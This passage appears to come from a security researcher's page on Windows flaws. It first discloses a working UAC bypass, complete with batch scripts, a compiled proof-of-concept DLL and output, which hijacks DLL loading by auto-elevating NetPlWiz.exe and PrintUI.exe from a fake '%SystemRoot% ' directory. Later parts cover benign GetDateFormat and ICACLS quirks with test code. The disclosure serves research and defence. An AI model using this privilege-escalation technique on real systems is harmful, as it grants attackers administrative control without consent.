%SystemRoot% . \, %SystemRoot%. \,
%SystemRoot% . \, %SystemRoot%. \,
%SystemRoot% . \, %SystemRoot%. \.
COPY System32\NetPlWiz.exe "%SystemRoot% \NetPlWiz.exe" START "Ouch!" /WAIT "%SystemRoot% \NetPlWiz.exe"
1 file(s) copied.Ouch:
NetPlWiz.exe
auto-elevates without to trigger a
UAC prompt and loads
NetPlWiz.dll
which displays its User Accounts dialog box.
COPY System32\PrintUI.exe "%SystemRoot% \PrintUI.exe" START "Ouch!" /WAIT "%SystemRoot% \PrintUI.exe"
1 file(s) copied.Ouch:
PrintUI.exe
auto-elevates without to trigger a
UAC prompt and loads
PrintUI.dll
which displays its dialog box.
COPY System32\ShUnimpl.dll "%SystemRoot% \NetPlWiz.dll" START "OUCH!" /WAIT "%SystemRoot% \NetPlWiz.exe" System32\CertUtil.exe /ERROR %ERRORLEVEL% COPY System32\ShUnimpl.dll "%SystemRoot% \PrintUI.dll" START "OUCH!" /WAIT "%SystemRoot% \PrintUI.exe" ECHO %ERRORLEVEL% System32\Net.exe HELPMSG %ERRORLEVEL%
![[Screen shot of error message for NTSTATUS 0xC0000139 alias STATUS_ENTRYPOINT_NOT_FOUND]](download/QUIRK13D.PNG "Screen shot of error message for NTSTATUS 0xC0000139 alias STATUS_ENTRYPOINT_NOT_FOUND")
1 file(s) copied.
0xc0000139 (NT: 0xc0000139 STATUS_ENTRYPOINT_NOT_FOUND) -- 3221225785 (-1073741511)
Error message text: {Entry Point Not Found}
The procedure entry point %hs could not be located in the dynamic link library %hs.
CertUtil: -error command completed successfully.
1 file(s) copied.
1114
A dynamic link library (DLL) initialization routine failed.
OUCH: (like almost all applications shipped with
Windows)
NetPlWiz.exe
and PrintUI.exe are
vulnerable to
CWE-426: Untrusted Search Path
and
CWE-427: Uncontrolled Search Path Element;
they load (at least) an arbitrary (unsigned)
NetPlWiz.dll
respectively
PrintUI.dll
from their (untrusted and user-writable)
application directory
%SystemRoot% \ instead
from Windows’ system directory
%SystemRoot%\System32\, allowing arbitrary code
execution with administrative privileges and access rights!
Note: if Microsoft’s developers
were not so careless, clueless and sloppy, their
quality miserability assurance not sound
asleep, and their managers not completely incompetent and ignorant,
they would have read for example the
MSRC
blog post
Load Library Safely,
the MSKB
articles
2389418
and
2533623,
the Security Advisory
2269637,
MSDN articles
Dynamic-Link Library Security
and
Dynamic-Link Library Search Order,
and fixed their crap long ago!
// Copyright © 2004-2021, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define _CRT_SECURE_NO_WARNINGS
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(dllexport)
VOID WINAPI PrintUIEntryW(HWND hWindow,
HINSTANCE hInstance,
LPCSTR lpszCmdLine,
INT nCmdShow)
{
if (!WriteProfileString(L"PrintUI",
L"PrintUIEntryW",
GetCommandLine()))
/* no error handling */;
return;
}
__declspec(dllexport)
VOID WINAPI UsersRunDllW(HWND hWindow,
HINSTANCE hInstance,
LPCSTR lpszCmdLine,
INT nCmdShow)
{
if (!WriteProfileString(L"NetPlWiz",
L"UsersRunDllW",
GetCommandLine()))
/* no error handling */;
return;
}
__declspec(safebuffers)
BOOL WINAPI _DllMainCRTStartup(HANDLE hModule,
DWORD dwReason,
LPVOID lpReserved)
{
DWORD dwModule;
WCHAR szModule[MAX_PATH];
DWORD dwProcess;
WCHAR szProcess[MAX_PATH];
DWORD dwWindows;
WCHAR szWindows[MAX_PATH];
DWORD dwBuffer;
CHAR szBuffer[1025];
DWORD dwExploit;
HANDLE hExploit;
if (dwReason != DLL_PROCESS_ATTACH)
return FALSE;
dwModule = GetModuleFileName((HMODULE) hModule,
szModule,
sizeof(szModule) / sizeof(*szModule));
if (dwModule == 0)
wcscpy(szModule, L"<unknown>");
else
szModule[dwModule] = L'\0';
dwProcess = GetModuleFileName((HMODULE) NULL,
szProcess,
sizeof(szProcess) / sizeof(*szProcess));
if (dwProcess == 0)
wcscpy(szProcess, L"<unknown>");
else
szProcess[dwProcess] = L'\0';
dwWindows = GetSystemWindowsDirectory(szWindows,
sizeof(szWindows) / sizeof(*szWindows));
if (dwWindows == 0)
return FALSE;
hExploit = CreateFile(wcscat(szWindows, L"\\Exploit.log"),
FILE_APPEND_DATA | SYNCHRONIZE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
(LPSECURITY_ATTRIBUTES) NULL,
OPEN_ALWAYS,
FILE_FLAG_WRITE_THROUGH,
(HANDLE) NULL);
if (hExploit == INVALID_HANDLE_VALUE)
return FALSE;
dwBuffer = wsprintfA(szBuffer,
"Module \'%ls\' loaded in process \'%ls\'\r\n",
szModule, szProcess);
if (!WriteFile(hExploit,
szBuffer,
dwBuffer * sizeof(*szBuffer),
&dwExploit,
(LPOVERLAPPED) NULL))
/* no error handling */;
else
if (dwExploit != dwBuffer * sizeof(*szBuffer))
/* no error handling */;
if (!CloseHandle(hExploit))
/* no error handling */;
return TRUE;
}SET CL=/GAFwyz /LD /Oxy /W4 /wd4100 /Zl SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /EXPORT:PrintUIEntryW /EXPORT:UsersRunDllW CL.EXE exploit.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. exploit.c Microsoft (R) Incremental Linker Version 10.00.40219.01 Copyright (C) Microsoft Corporation. All rights reserved. /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /EXPORT:PrintUIEntryW /EXPORT:UsersRunDllW /out:exploit.dll /dll /implib:exploit.lib exploit.obj Creating library exploit.lib and object exploit.exp
COPY /Y …\exploit.dll "%SystemRoot% \NetPlWiz.dll" START "OUCH!" /WAIT "%SystemRoot% \NetPlWiz.exe" COPY /Y …\exploit.dll "%SystemRoot% \PrintUI.dll" START "OUCH!" /WAIT "%SystemRoot% \PrintUI.exe" TYPE Exploit.log ERASE Exploit.log
1 file(s) copied.
Module 'C:\Windows \NetPlWiz.dll' loaded in process 'C:\Windows \NetPlWiz.exe'
1 file(s) copied.
Module 'C:\Windows \PrintUI.dll' loaded in process 'C:\Windows \PrintUI.exe'
C:\Windows\Exploit.log
Access denied
RMDIR /Q /S "%SystemRoot% \" EXIT
REM Copyright © 2014-2021, Stefan Kanthak <stefan.kanthak@nexgo.de> CHDIR /D "%SystemRoot%" TITLE Step 0: KTMUtil.exe shows that these commands don't run elevated System32\KTMUtil.exe TITLE Step 1: NetPlWiz.dll displays the 'User Accounts' dialog box START /WAIT System32\RunDLL32.exe System32\NetPlWiz.dll,UsersRunDll TITLE Step 2: PrintUI.dll displays a dialog box START /WAIT System32\RunDLL32.exe System32\PrintUI.dll,PrintUIEntry /? TITLE Step 3: ShUnimpl.dll denies to load, RunDLL32.exe displays an error message box START /WAIT System32\RunDLL32.exe System32\ShUnimpl.dll,#0 TITLE Step 4: MMC.exe triggers a blue UAC prompt START /WAIT System32\MMC.exe TITLE Step 5: NetPlWiz.exe triggers no UAC prompt and auto-elevates, then loads NetPlWiz.dll which displays the 'User Accounts' dialog box START /WAIT System32\NetPlWiz.exe TITLE Step 6: PrintUI.exe triggers no UAC prompt and auto-elevates, then loads PrintUI.dll which displays its dialog box START /WAIT System32\PrintUI.exe TITLE Step 7: MMC.exe, NetPlWiz.exe and PrintUI.exe trigger a yellow UAC prompt which shows "Publisher: Unknown" MKDIR Temp\Quirk13 COPY System32\MMC.exe Temp\Quirk13\MMC.exe START /WAIT Temp\Quirk13\MMC.exe COPY System32\NetPlWiz.exe Temp\Quirk13\NetPlWiz.exe START /WAIT Temp\Quirk13\NetPlWiz.exe COPY System32\PrintUI.exe Temp\Quirk13\PrintUI.exe START /WAIT Temp\Quirk13\PrintUI.exe RMDIR /Q /S Temp\Quirk13 TITLE Step 8: MMC.exe triggers a blue UAC prompt which shows "Verified Publisher: Microsoft Windows" MKDIR "%SystemRoot% \" COPY System32\MMC.exe "%SystemRoot% \MMC.exe" START "Oops!" /WAIT "%SystemRoot% \MMC.exe" TITLE Step 9: NetPlWiz.exe triggers no UAC prompt and auto-elevates, then loads NetPlWiz.dll which displays the 'User Accounts' dialog box COPY System32\NetPlWiz.exe "%SystemRoot% \NetPlWiz.exe" START "Ouch!" /WAIT "%SystemRoot% \NetPlWiz.exe" TITLE Step 10: PrintUI.exe triggers no UAC prompt and auto-elevates, then loads PrintUI.dll which displays its dialog box COPY System32\PrintUI.exe "%SystemRoot% \PrintUI.exe" START "Ouch!" /WAIT "%SystemRoot% \PrintUI.exe" TITLE Step 11: NetPlWiz.exe triggers no UAC prompt and auto-elevates, then loads an arbitrary (unsigned) NetPlWiz.dll COPY System32\ShUnimpl.dll "%SystemRoot% \NetPlWiz.dll" START "OUCH!" /WAIT "%SystemRoot% \NetPlWiz.exe" System32\CertUtil.exe /ERROR %ERRORLEVEL% TITLE Step 12: PrintUI.exe triggers no UAC prompt and auto-elevates, then loads an arbitrary (unsigned) PrintUI.dll COPY System32\ShUnimpl.dll "%SystemRoot% \PrintUI.dll" START "OUCH!" /WAIT "%SystemRoot% \PrintUI.exe" ECHO %ERRORLEVEL% System32\Net.exe HELPMSG %ERRORLEVEL% TITLE Step 13: clean up and exit RMDIR /Q /S "%SystemRoot% \" EXIT
The KTMUTIL utility requires that you have administrative privileges.
1 file(s) copied.
1 file(s) copied.
1 file(s) copied.
1 file(s) copied.
1 file(s) copied.
1 file(s) copied.
0xc0000139 (NT: 0xc0000139 STATUS_ENTRYPOINT_NOT_FOUND) -- 3221225785 (-1073741511)
Error message text: {Entry Point Not Found}
The procedure entry point %hs could not be located in the dynamic link library %hs.
CertUtil: -error command completed successfully.
1 file(s) copied.
1114
A dynamic link library (DLL) initialization routine failed.
REM Copyright © 2014-2021, Stefan Kanthak <stefan.kanthak@nexgo.de>
FOR %? IN ("%SystemRoot% "
"%SystemRoot% ."
"%SystemRoot% . " "%SystemRoot%. "
"%SystemRoot% . " "%SystemRoot%. "
"%SystemRoot% . " "%SystemRoot%. ") DO (
MKDIR "%~?\" && (
COPY "%SystemRoot%\System32\PrintUI.exe" "%~?\PrintUI.exe" && (
START "OOPS!" /WAIT "%~?\PrintUI.exe"
"%SystemRoot%\System32\CertUtil.exe" /ERROR !ERRORLEVEL!
COPY "%SystemRoot%\System32\ShUnimpl.dll" "%~?\PrintUI.dll" && (
START "OUCH!" /WAIT "%~?\PrintUI.exe"
"%SystemRoot%\System32\CertUtil.exe" /ERROR !ERRORLEVEL!))
RMDIR /Q /S "%~?\"))
They replied with the following statements:
Thank you again for your patience during our investigation. The team was performing thorough analysis to ensure we didn't overlook any aspects of your report. Our analysts have completed their assessment, and in our investigation, we have determined that this is a UAC bypass, but only for accounts that already have administrator privileges.Ouch¹: the exploit works without administrator privileges![…]
Based on these results, we do not see a UAC bypass occurring unless the user already has administrator privileges. Based on our bug bar found here - https://aka.ms/windowsbugbar - and the defense-in-depth section of our servicing criteria found here - https://aka.ms/windowscriteria - this does not meet our bar for immediate servicing with a security update. We have opened a tracking bug for the development team, and they may address this in a future release of Windows, but we will not be releasing an update as part of our Patch Tuesday security releases.
I will be closing this case, but we appreciate the opportunity to review your research through coordinated disclosure, and you are free to publish your findings.
Ouch²: in default installations of Windows this UAC bypass can be silently exercised by every unprivileged process that runs in the (primary) user account created during Windows Setup, which Jane and Joe Average typically use for their everyday work!
Ouch³: even if Jane and Joe Average create
and use a secondary (unprivileged) standard user
account they might very likely be fooled by the
blue
UAC prompt that
shows Verified Publisher: Microsoft Windows
.
Note:
UAC (and
SAFER
alias
Software Restriction Policies
too) is the victim here; the vulnerability results from bugs in the
Win32 functions
GetFullPathName(),
GetLongPathName()
and
GetShortPathName(),
plus insecure loading of
DLLs!
GetDateFormat(),
GetTimeFormat(),
GetDateFormatEx()
and
GetTimeFormatEx()
are documented in the
MSDN as
follows:
[…]int GetDateFormat( LCID Locale, DWORD dwFlags, const SYSTEMTIME *lpDate, LPCTSTR lpFormat, LPTSTR lpDateStr, int cchDate );Returns the number of characters written to the lpDateStr buffer if successful. If the cchDate parameter is set to 0, the function returns the number of characters required to hold the formatted date string, including the terminating null character.
The function returns 0 if it does not succeed. […]
[…]int GetTimeFormat( LCID Locale, DWORD dwFlags, const SYSTEMTIME *lpTime, LPCTSTR lpFormat, LPTSTR lpTimeStr, int cchTime );Returns the number of TCHAR values retrieved in the buffer indicated by lpTimeStr. If the cchTime parameter is set to 0, the function returns the size of the buffer required to hold the formatted time string, including a terminating null character.
This function returns 0 if it does not succeed. […]
[…]int GetDateFormatEx( LPCWSTR lpLocaleName, DWORD dwFlags, const SYSTEMTIME *lpDate, LPCWSTR lpFormat, LPWSTR lpDateStr, int cchDate, LPCWSTR lpCalendar );Returns the number of characters written to the lpDateStr buffer if successful. If the cchDate parameter is set to 0, the function returns the number of characters required to hold the formatted date string, including the terminating null character.
This function returns 0 if it does not succeed. […]
Win32 functions which write a character string to a buffer typically return the number of characters except the terminating[…]int GetTimeFormatEx( LPCWSTR lpLocaleName, DWORD dwFlags, const SYSTEMTIME *lpTime, LPCWSTR lpFormat, LPWSTR lpTimeStr, int cchTime );Returns the number of characters retrieved in the buffer indicated by lpTimeStr. If the cchTime parameter is set to 0, the function returns the size of the buffer required to hold the formatted time string, including a terminating null character.
This function returns 0 if it does not succeed. […]
NUL character,
even if not stated explicitly.
NUL
character, without explicitly stating their unusual behaviour.
Note: examination of the (mis)behaviour of the
Win32 functions
GetCalendarInfo(),
GetCalendarInfoEx(),
GetCurrencyFormat(),
GetCurrencyFormatEx(),
GetLocaleInfo(),
GetLocaleInfoEx(),
GetNumberFormat()
and
GetNumberFormatEx()
is left as an exercise to the reader.
Create the text file quirk14.c with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2021, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
{
WCHAR szBuffer[1025];
DWORD dwBuffer;
DWORD dwConsole;
va_list vaInserts;
va_start(vaInserts, lpFormat);
dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
va_end(vaInserts);
if (dwBuffer == 0)
return FALSE;
if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
return FALSE;
return dwConsole == dwBuffer;
}
__declspec(noreturn)
VOID WINAPI wmainCRTStartup(VOID)
{
SYSTEMTIME st;
INT nDate, nTime, nSize;
LPWSTR lpDate, lpTime;
WCHAR szDate[] = L"MM/dd/yyyy";
WCHAR szTime[] = L"HH:mm:ss";
DWORD dwError = ERROR_SUCCESS;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
GetSystemTime(&st);
nDate = GetDateFormat(LOCALE_INVARIANT,
0,
&st,
szDate,
szDate,
sizeof(szDate) / sizeof(*szDate));
if (nDate == 0)
PrintConsole(hConsole,
L"GetDateFormat() returned error %lu\n",
dwError = GetLastError());
else
{
nSize = lstrlen(szDate);
if (nSize != nDate)
PrintConsole(hConsole,
L"GetDateFormat() returned \'%ls\' of length %lu, but real string length is %lu\n",
szDate, nDate, nSize);
}
nTime = GetTimeFormat(LOCALE_INVARIANT,
0,
&st,
szTime,
szTime,
sizeof(szTime) / sizeof(*szTime));
if (nTime == 0)
PrintConsole(hConsole,
L"GetTimeFormat() returned error %lu\n",
dwError = GetLastError());
else
{
nSize = lstrlen(szTime);
if (nSize != nTime)
PrintConsole(hConsole,
L"GetTimeFormat() returned \'%ls\' of length %lu, but real string length is %lu\n",
szTime, nTime, nSize);
}
nSize = GetDateFormatEx(LOCALE_NAME_INVARIANT,
DATE_LONGDATE,
&st,
(LPCWSTR) NULL,
(LPWSTR) NULL,
0,
(LPCWSTR) NULL);
if (nSize == 0)
PrintConsole(hConsole,
L"GetDateFormatEx() returned error %lu\n",
dwError = GetLastError());
else
{
lpDate = LocalAlloc(LPTR, nSize * sizeof(*lpDate));
if (lpDate == NULL)
PrintConsole(hConsole,
L"LocalAlloc() returned error %lu\n",
dwError = GetLastError());
else
{
nDate = GetDateFormatEx(LOCALE_NAME_INVARIANT,
DATE_LONGDATE,
&st,
(LPCWSTR) NULL,
lpDate,
nSize,
(LPCWSTR) NULL);
if (nDate == 0)
PrintConsole(hConsole,
L"GetDateFormatEx() returned error %lu\n",
dwError = GetLastError());
else
if (nDate != nSize - 1)
PrintConsole(hConsole,
L"GetDateFormatEx() returned \'%ls\' of length %lu, but real string length is %lu\n",
lpDate, nDate, lstrlen(lpDate));
if (LocalFree(lpDate) != NULL)
PrintConsole(hConsole,
L"LocalFree() returned error %lu\n",
dwError = GetLastError());
}
}
nSize = GetTimeFormatEx(LOCALE_NAME_INVARIANT,
TIME_FORCE24HOURFORMAT,
&st,
(LPCWSTR) NULL,
(LPWSTR) NULL,
0);
if (nSize == 0)
PrintConsole(hConsole,
L"GetTimeFormatEx() returned error %lu\n",
dwError = GetLastError());
else
{
lpTime = LocalAlloc(LPTR, nSize * sizeof(*lpTime));
if (lpTime == NULL)
PrintConsole(hConsole,
L"LocalAlloc() returned error %lu\n",
dwError = GetLastError());
else
{
nTime = GetTimeFormatEx(LOCALE_NAME_INVARIANT,
TIME_FORCE24HOURFORMAT,
&st,
(LPCWSTR) NULL,
lpTime,
nSize);
if (nTime == 0)
PrintConsole(hConsole,
L"GetTimeFormatEx() returned error %lu\n",
dwError = GetLastError());
else
if (nTime != nSize - 1)
PrintConsole(hConsole,
L"GetTimeFormatEx() returned \'%ls\' of length %lu, but real string length is %lu\n",
lpTime, nTime, lstrlen(lpTime));
if (LocalFree(lpTime) != NULL)
PrintConsole(hConsole,
L"LocalFree() returned error %lu\n",
dwError = GetLastError());
}
}
}
ExitProcess(dwError);
} Build the console application quirk14.exe from the
source file quirk14.c created in step 1.:
SET CL=/GAFy /W4 /Zl SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE CL.EXE quirk14.cFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the
MSDN article
Use the Microsoft C++ toolset from the command line
for an introduction.
Note: quirk14.exe is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk14.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE /out:quirk14.exe quirk14.obj
Execute the console application quirk14.exe built in
step 2. to demonstrate the (mis)behaviour:
.\quirk14.exe
GetDateFormat() returned '08/15/2020' of length 11, but real string length is 10 GetTimeFormat() returned '12:34:56' of length 9, but real string length is 8 GetDateFormatEx() returned 'Saturday, 15 August 2020' of length 25, but real string length is 24 GetTimeFormatEx() returned '12:34:56' of length 9, but real string length is 8
An access control list (ACL) is a list of access control entries (ACE). Each ACE in an ACL identifies a trustee and specifies the access rights allowed, denied, or audited for that trustee. The security descriptor for a securable object can contain two types of ACLs: a DACL and a SACL.Note: no document denotes different access rights for deletion of directories than for deletion of files, which both are filesystem objects and children of a parent filesystem object, i.e. deletion should be governed byA discretionary access control list (DACL) identifies the trustees that are allowed or denied access to a securable object. When a process tries to access a securable object, the system checks the ACEs in the object's DACL to determine whether to grant access to it. If the object does not have a DACL, the system grants full access to everyone. If the object's DACL has no ACEs, the system denies all attempts to access the object because the DACL does not allow any access rights. The system checks the ACEs in sequence until it finds one or more ACEs that allow all the requested access rights, or until any of the requested access rights are denied. […]
FILE_DELETE_CHILD
of the parent (too)!
The TechNet article How Permissions Work specifies:
Folder permissions include Full Control, Modify, Read & Execute, List Folder Contents, Read, and Write. Each of these permissions consists of a logical group of special permissions that are listed and defined in the following table.The MSDN article File Security and Access Rights but contradicts:Permissions for Files and Folders
[…]
Permission Description Delete Subfolders and Files Allows or denies deleting subfolders and files, even if the Delete permission has not been granted on the subfolder or file. (Applies to folders.) Delete Allows or denies deleting the file or folder. If you do not have Delete permission on a file or folder, you can still delete it if you have been granted Delete Subfolders and Files on the parent folder. You should also be aware of the following:
Groups or users that are granted Full Control on a folder can delete any files in that folder, regardless of the permissions protecting the file.
The valid access rights for files and directories include the DELETE, READ_CONTROL, WRITE_DAC, WRITE_OWNER, and SYNCHRONIZE standard access rights.The MSDN articles SACL Access Right and Requesting Access Rights to an Object specify:[…]
By default, authorization for access to a file or directory is controlled strictly by the ACLs in the security descriptor associated with that file or directory. In particular, the security descriptor of a parent directory is not used to control access to any child file or directory.
The ACCESS_SYSTEM_SECURITY access right is not valid in a DACL because DACLs do not control access to a SACL.
Contrary to the last two (highlighted) statements, the documentation as well as the synopsis of Windows’Note
The MAXIMUM_ALLOWED constant cannot be used in an ACE.
Icacls
command line program but state:
Displays or modifies discretionary access control lists (DACLs) on specified files, and applies stored DACLs to files in specified directories.Oops: the parameter[…]
[…]icacls ‹FileName› [/grant[:r] ‹Sid›:‹Perm›[…]] [/deny ‹Sid›:‹Perm›[…]] [/remove[:g|:d]] ‹Sid›[…]] [/t] [/c] [/l] [/q] [/setintegritylevel ‹Level›:‹Policy›[…]]
Perm is a permission mask that can be specified in one of the following forms:
A sequence of simple rights:
[…]
A comma-separated list in parenthesis of specific rights:
D (delete)
RC (read control)
WDAC (write DAC)
WO (write owner)
S (synchronize)
AS (access system security)
MA (maximum allowed)
[…]
RD (read data/list directory)
WD (write data/add file)
AD (append data/add subdirectory)
[…]
DC (delete child)
/Inheritance:{E|D|R} is undocumented!
Command-Line Reference
REM Copyright © 2004-2021, Stefan Kanthak <stefan.kanthak@nexgo.de> CHDIR /D "%TMP%" COPY NUL: Quirk15f.tmp ECHO STEP 1: remove all inherited access permissions from file 'Quirk15f.tmp' ICACLS.EXE Quirk15f.tmp /Inheritance:R CACLS.EXE Quirk15f.tmp /S ICACLS.EXE Quirk15f.tmp ECHO STEP 2: (attempt to) add inheritable access permissions to file 'Quirk15f.tmp' ICACLS.EXE Quirk15f.tmp /Grant *S-1-3-3:(CI)(D) /Grant *S-1-3-2:(OI)(S) /Grant *S-1-3-1:(CI)(IO)(RC) /Grant *S-1-3-0:(OI)(IO)(WDAC) CACLS.EXE Quirk15f.tmp /S ICACLS.EXE Quirk15f.tmp ECHO STEP 3: add access permissions to file 'Quirk15f.tmp' ICACLS.EXE Quirk15f.tmp /Deny *S-1-3-4:(AS) /Grant *S-1-3-4:(MA) /Grant *S-1-3-3:(D) /Grant *S-1-3-2:(RC) /Grant *S-1-3-1:(S) /Grant *S-1-3-0:(WDAC) CACLS.EXE Quirk15f.tmp /S ICACLS.EXE Quirk15f.tmp ECHO STEP 4: remove access permissions from file 'Quirk15f.tmp' ICACLS.EXE Quirk15f.tmp /Remove:g "%USERNAME%" /Remove:g None CACLS.EXE Quirk15f.tmp /S ICACLS.EXE Quirk15f.tmp ECHO STEP 5: delete file 'Quirk15f.tmp' ERASE Quirk15f.tmpNote: the command lines can be copied and pasted as block into a Command Processor window!
1 file(s) copied. STEP 1: remove all inherited access permissions from file 'Quirk15f.tmp' processed file: Quirk15f.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk15f.tmp "D:PAI" Quirk15f.tmp Successfully processed 1 files; Failed processing 0 files STEP 2: (attempt to) add inheritable access permissions to file 'Quirk15f.tmp' processed file: Quirk15f.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk15f.tmp "D:PAI" Quirk15f.tmp Successfully processed 1 files; Failed processing 0 files STEP 3: add access permissions to file 'Quirk15f.tmp' processed file: Quirk15f.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk15f.tmp "D:PAI(D;;;;;OW)(A;;WD;;;S-1-5-21-820728443-44925810-1835867902-1001)(A;;0x100000;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;RC;;;S-1-5-21-820728443-44925810-1835867902-1001)(A;;0x110000;;;S-1-5-21-820728443-44925810-1835867902-513)(A;;;;;OW)" Quirk15f.tmp OWNER RIGHTS:(DENY)(S) AMNESIAC\Stefan:(WDAC) AMNESIAC\None:(S) AMNESIAC\Stefan:(Rc) AMNESIAC\None:(D) OWNER RIGHTS: Successfully processed 1 files; Failed processing 0 files STEP 4: remove access permissions from file 'Quirk15f.tmp' processed file: Quirk15f.tmp Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\AppData\Local\Temp\Quirk15f.tmp Access denied Quirk15f.tmp: Access denied Successfully processed 0 files; Failed processing 1 files STEP 5: delete file 'Quirk15f.tmp'Note:
ICACLs.exe does
not add inheritable
ACEs to files, but
discards them silently, reporting success.
Ouch¹: ICACLs.exe
converts its access permissions
AS alias
ACCESS_SYSTEM_SECURITY and
MA alias
MAXIMUM_ALLOWED to 0 alias
NO_ACCESS!
Ouch²: ICACLs.exe
converts its access permission D into the compound
access mask SD
alias STANDARD_DELETE plus
SYNCHRONIZE, and displays this
compound access mask 0x110000 as its
access permission D too!
Note: ICACLs.exe converts the
well-known SIDs
S-1-3-0 alias
CREATOR OWNER,
S-1-3-1 alias
CREATOR GROUP,
S-1-3-2 alias
CREATOR OWNER SERVER, and
S-1-3-3 alias
CREATOR GROUP SERVER into the
object’s effective user and (primary) group
SIDs.
Ouch³: ICACLs.exe
displays the access mask 0 alias
NO_ACCESS of the
ACE
(D;;;;;OW)
as (S) alias
SYNCHRONIZE!
Note: both ICACLs.exe and
CACLs.exe fail (expected)
when the ACE
(D;;;;;OW)
with access mask 0 alias
NO_ACCESS is present in the
DACL;
it overrides the implicit RC alias
READ_CONTROL and
WDAC alias
WRITE_DAC access rights granted to
the object’s owner and has the same effect as the
ACE
(A;;;;;OW).
The TechNet article Security Identifiers Technical Overview specifies:
The following table lists the universal well-known SIDs.AD DS: Owner RightsUniversal well-known SIDs
Value Universal Well-Known SID Identifies […] S-1-3-4 Owner Rights A group that represents the current owner of the object. When an ACE that carries this SID is applied to an object, the system ignores the implicit READ_CONTROL and WRITE_DAC permissions for the object owner.
MKDIR Quirk15d.tmp ECHO STEP A: remove all inherited access permissions from directory 'Quirk15d.tmp' ICACLS.EXE Quirk15d.tmp /Inheritance:R CACLS.EXE Quirk15d.tmp /S ICACLS.EXE Quirk15d.tmp ECHO STEP B: add (inheritable) access permissions to directory 'Quirk15d.tmp' ICACLS.EXE Quirk15d.tmp /Deny *S-1-3-4:(AS,MA) /Grant *S-1-3-3:(CI)(RC,WDAC) /Grant *S-1-3-2:(OI)(RD,WD) /Grant *S-1-3-1:(CI)(IO)(AS) /Grant *S-1-3-0:(OI)(IO)(MA) CACLS.EXE Quirk15d.tmp /S ICACLS.EXE Quirk15d.tmp ECHO STEP C: (attempt to) delete directory 'Quirk15d.tmp' RMDIR Quirk15d.tmp ECHO STEP D: remove all inheritable access permissions from directory 'Quirk15d.tmp' ICACLS.EXE Quirk15d.tmp /Remove:g *S-1-3-3 /Remove:g *S-1-3-2 /Remove:g *S-1-3-1 /Remove:g *S-1-3-0 CACLS.EXE Quirk15d.tmp /S ICACLS.EXE Quirk15d.tmp ECHO STEP E: create file 'Quirk15d.tmp\Quirk15f.tmp' COPY NUL: Quirk15d.tmp\Quirk15f.tmp ECHO STEP F: display access permissions of file 'Quirk15d.tmp\Quirk15f.tmp' ICACLS.EXE Quirk15d.tmp\Quirk15f.tmp CACLS.EXE Quirk15d.tmp\Quirk15f.tmp /S ECHO STEP G: (attempt to) delete file 'Quirk15d.tmp\Quirk15f.tmp' ERASE Quirk15d.tmp\Quirk15f.tmp ECHO STEP H: add access permissions to directory 'Quirk15d.tmp' ICACLS.EXE Quirk15d.tmp /Grant *S-1-3-1:(AD) /Grant *S-1-3-0:(S) CACLS.EXE Quirk15d.tmp /S ICACLS.EXE Quirk15d.tmp CACLS.EXE Quirk15d.tmp\Quirk15f.tmp /S ECHO STEP I: delete file 'Quirk15d.tmp\Quirk15f.tmp' ERASE Quirk15d.tmp\Quirk15f.tmp ECHO STEP J: remove access permissions from directory 'Quirk15d.tmp' ICACLS.EXE Quirk15d.tmp /Remove:g "%USERNAME%" CACLS.EXE Quirk15d.tmp /S ICACLS.EXE Quirk15d.tmp ECHO STEP K: create subdirectory 'Quirk15d.tmp\Quirk15d.tmp' MKDIR Quirk15d.tmp\Quirk15d.tmp ECHO STEP L: delete subdirectory 'Quirk15d.tmp\Quirk15d.tmp' RMDIR Quirk15d.tmp\Quirk15d.tmp ECHO STEP M: (attempt to) delete directory 'Quirk15d.tmp' RMDIR Quirk15d.tmp ECHO STEP N: modify access permissions of directory 'Quirk15d.tmp' ICACLS.EXE Quirk15d.tmp /Grant *S-1-3-0:(S) /Remove:g None CACLS.EXE Quirk15d.tmp /S ICACLS.EXE Quirk15d.tmp ECHO STEP O: delete directory 'Quirk15d.tmp' RMDIR Quirk15d.tmpNote: the command lines can be copied and pasted as block into a Command Processor window!
